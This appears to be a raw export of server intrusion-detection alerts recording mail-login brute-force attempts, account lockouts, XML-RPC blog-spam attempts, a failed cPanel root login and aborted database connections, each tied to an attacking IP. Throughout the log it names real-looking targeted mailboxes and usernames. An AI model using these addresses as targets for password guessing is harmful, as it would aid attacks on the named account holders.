country_id: 2750405
description:
2026-02-01 15:33:18 dovecot_login authenticator failed for H=(gTMVXBI) [178.16.54.22]:63465: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.176.229.36
country_id: 2017370
description:
2026-02-01 15:33:51 dovecot_login authenticator failed for H=([178.176.229.36]) [178.176.229.36]:38770: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:33:16 dovecot_login authenticator failed for H=(H85Bkys) [158.94.208.175]:54124: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.173.114.143
country_id: 2017370
description:
2026-02-01 15:33:25 dovecot_login authenticator failed for H=([85.173.114.143]) [85.173.114.143]:45375: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:27b923ba91eb7a8ca08df33d3c9bda0d4149270d||Title:0xbe6a6f72||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:35:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:34:34 dovecot_login authenticator failed for H=(4phhDWRlQR) [178.16.54.22]:51751: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.3.64.66
country_id: 2017370
description:
2026-02-01 15:34:53 dovecot_login authenticator failed for H=(5x3x64x66.dynamic.ulsk.ertelecom.ru) [5.3.64.66]:46027: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:34:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59383: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:34:06 dovecot_login authenticator failed for H=(QIK3zaT) [158.94.208.175]:56584: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:34:15 dovecot_login authenticator failed for H=(GI9WD8K) [178.16.52.139]:64922: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-02-01 15:34:28 dovecot_login authenticator failed for H=([1.237.155.150]) [1.237.155.150]:34912: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:35:20 dovecot_login authenticator failed for H=(l02mra) [178.16.52.139]:60837: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:35:25 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57736: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:35:02 dovecot_login authenticator failed for H=(0O8761YA) [178.16.52.139]:52926: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:35:29 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 15:35:46 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:47913: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:35:07 dovecot_login authenticator failed for H=(lRHiqXETus) [158.94.208.175]:61972: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:35:08 dovecot_login authenticator failed for H=(quxPhQ) [178.16.54.22]:58779: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:35:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54313: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2590ed0d2fe4984dcf51beb42f218654e9cb68f2||Title:0x279915e0||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:36:25 dovecot_login authenticator failed for H=(RNAfNrb) [158.94.208.175]:49293: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.238.193.56
country_id: 6252001
description:
[2026-02-01 15:36:32 +0800] info [whostmgrd] 97.238.193.56 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eb50fbff15feb2ffcab24ea7ce07e97b8dc23c6c||Title:0xc4d2fe1e||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.97.190.237
country_id: 6252001
description:
2026-02-01 15:36:30 dovecot_plain authenticator failed for H=(einanisly) [75.97.190.237]:50162: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:36:42 dovecot_login authenticator failed for H=(vBwBSQRlS) [178.16.54.22]:54862: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:36:03 dovecot_login authenticator failed for H=(WgihntH) [178.16.52.139]:55842: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:36:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60234: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.180
country_id: 2542007
description:
2026-02-01 15:36:27 dovecot_plain authenticator failed for H=(briums) [102.53.15.180]:39669: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-02-01 15:36:34 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:49146: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:37:14 dovecot_login authenticator failed for H=(bydRcbX) [178.16.54.22]:62972: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:37:21 dovecot_login authenticator failed for H=(f8UTYJig) [158.94.208.175]:59756: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:37:08 dovecot_login authenticator failed for H=(lbDb2Zrp) [178.16.52.139]:58197: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e89379920626fe05b92d31d60e9428e5d16335de||Title:0xabc6a8c2||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:37:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:37:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49680: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:37:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42556: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 15:37:23 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:50958: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.169.210.16
country_id: 2017370
description:
2026-02-01 15:37:38 dovecot_plain authenticator failed for H=(wzcvm054ywr395oycnfe8r30u1) [136.169.210.16]:57137: 535 Incorrect authentication data (set_id=2095central@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:37:59 dovecot_login authenticator failed for H=(10jTWKdUC) [178.16.52.139]:56860: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 15:37:09 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:56720: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:38:20 dovecot_login authenticator failed for H=(j0LXa8) [178.16.52.139]:54732: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:38:23 dovecot_login authenticator failed for H=(DpaFklfouw) [178.16.54.22]:51266: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.159
country_id: 2750405
description:
2026-02-01 15:38:23 229756 [Warning] Aborted connection 229756 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.159' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:38:02 dovecot_login authenticator failed for H=(jcfUbMnE) [158.94.208.175]:56845: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:38:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jaya@ktlog.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:meraakistudio_jzp165vn.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cd9841e81d7d15187215f0cb58f4e2535c31eea8||Title:0x6d151b98||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:38:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56192: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.208
country_id: 99237
description:
2026-02-01 15:38:56 dovecot_plain authenticator failed for H=(hicatency) [65.20.133.208]:49056: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:39:07 dovecot_login authenticator failed for H=(b3U9toJsj) [178.16.54.22]:57634: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 104.155.20.12
country_id: 2802361
description:
2026-02-01 15:39:09 229767 [Warning] Aborted connection 229767 to db: 'unconnected' user: 'unauthenticated' host: '104.155.20.12' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:39:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:39:14 dovecot_login authenticator failed for H=(hF31JBvyYU) [178.16.52.139]:58180: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:39:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62237: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:39:40 dovecot_login authenticator failed for H=(vLF1iZH) [158.94.208.175]:64366: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:39:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50422: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:40:02 dovecot_login authenticator failed for H=(Qd0QIuBx) [178.16.52.139]:58392: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-01 15:40:23 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:39632: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 15:40:33 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:57624: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:40:04 dovecot_login authenticator failed for H=(bLhfWhOm) [178.16.54.22]:65023: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:40:24 dovecot_login authenticator failed for H=(obLTznGgen) [158.94.208.175]:62539: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:40:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jaya@ktlog.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:40:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51344: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:41:07 dovecot_login authenticator failed for H=(ZBzx1JNza) [178.16.52.139]:51719: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:41:13 dovecot_login authenticator failed for H=(fiYkMy) [158.94.208.175]:58428: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-02-01 15:41:17 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:52961: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:41:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56801: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:41:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jaya@ktlog.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.246.43
country_id: 1814991
description:
2026-02-01 15:41:16 dovecot_login authenticator failed for H=([220.178.246.43]) [220.178.246.43]:51533: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:41:19 dovecot_login authenticator failed for H=(Po07Uz) [178.16.54.22]:61519: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:41:22 dovecot_login authenticator failed for H=(53zEMF3Fy5) [178.16.52.139]:58790: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-01 15:41:31 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:52871: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.188.98
country_id: 1269750
description:
2026-02-01 15:41:48 dovecot_login authenticator failed for H=([128.185.119.9]) [125.19.188.98]:34138: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:41:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60526: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:42:14 dovecot_login authenticator failed for H=(6kXMSF7Jlw) [178.16.54.22]:51529: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:42:14 dovecot_login authenticator failed for H=(aWJTbg) [178.16.52.139]:56452: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:42:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55447: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-02-01 15:42:30 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:34586: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 15:42:34 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jaya@ktlog.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-02-01 15:42:41 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:35140: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:42:17 dovecot_login authenticator failed for H=(08naokQHoU) [158.94.208.175]:54743: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:44:02 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41040: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:43:04 dovecot_login authenticator failed for H=(e4z4u5) [158.94.208.175]:57739: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:43:17 dovecot_login authenticator failed for H=(2tRNvpL) [178.16.52.139]:57763: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:43:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61567: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:43:30 dovecot_login authenticator failed for H=(5JNtTX) [178.16.54.22]:60737: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 15:43:58 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:41140: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:44:05 dovecot_login authenticator failed for H=(plpadJnr) [178.16.54.22]:63529: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-02-01 15:44:08 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:43146: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:44:08 dovecot_login authenticator failed for H=(HU0Glntp0) [178.16.52.139]:53206: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:44:08 dovecot_login authenticator failed for H=(37ukqMH) [158.94.208.175]:50600: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:44:17 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50931: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:44:21 dovecot_login authenticator failed for H=(lDfNqq81wr) [178.16.52.139]:57140: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-02-01 15:45:44 dovecot_login authenticator failed for H=([211.63.34.149]) [211.63.34.149]:58793: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:45:05 dovecot_login authenticator failed for H=(GgSZ9L9ux) [178.16.52.139]:50820: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:45:15 dovecot_login authenticator failed for H=(xQLCwr8j9) [158.94.208.175]:53029: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.147.118.174
country_id: 2017370
description:
2026-02-01 15:45:16 dovecot_login authenticator failed for H=([82.147.118.174]) [82.147.118.174]:60418: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:45:38 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61632: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:45:13 dovecot_login authenticator failed for H=(yrYTFzw) [178.16.54.22]:54647: 535 Incorrect authentication data (set_id=jon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 15:46:25 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:38086: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-02-01 15:46:57 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:24308: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:46:06 dovecot_login authenticator failed for H=(LXtX5x) [178.16.52.139]:64748: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:46:20 dovecot_login authenticator failed for H=(VJey0C) [178.16.54.22]:53352: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-02-01 15:46:44 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:40393: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.187.198
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=78001708731070 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:46:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51745: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:46:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39650: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:46:13 dovecot_login authenticator failed for H=(igmJG7) [158.94.208.175]:57506: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
